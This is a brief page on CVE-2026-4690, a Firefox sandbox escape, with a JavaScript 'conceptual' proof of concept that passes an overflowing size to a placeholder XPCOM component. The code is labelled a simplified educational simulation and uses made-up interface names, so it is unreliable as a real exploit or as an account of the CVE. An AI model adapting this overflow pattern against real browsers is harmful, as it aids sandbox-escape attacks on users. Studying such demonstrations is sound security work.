CVE-2026-4690 Firefox沙箱逃逸漏洞

/** * Conceptual Proof of Concept (PoC) for CVE-2026-4690 * Demonstrating the integer overflow trigger in XPCOM. * Note: This is a simplified simulation for educational purposes. */ function triggerOverflow() { try { // Target the vulnerable XPCOM component interface const component = Components.classes["@mozilla.org/vulnerable-component;1"] .getService(Components.interfaces.nsIVulnerableInterface); // Malicious input designed to trigger integer overflow // Setting a size that wraps around when incremented let size = 0xFFFFFFF0; let padding = 32; console.log("[+] Attempting to allocate buffer with size: " + size); // The vulnerable method fails to check (size + padding) overflow // causing a small buffer allocation for a large data write later component.allocateBuffer(size, padding); console.log("[+] Overflow triggered. Sandbox integrity may be compromised."); } catch (e) { console.error("[-] Exploit failed: " + e.message); } } // Execute triggerOverflow();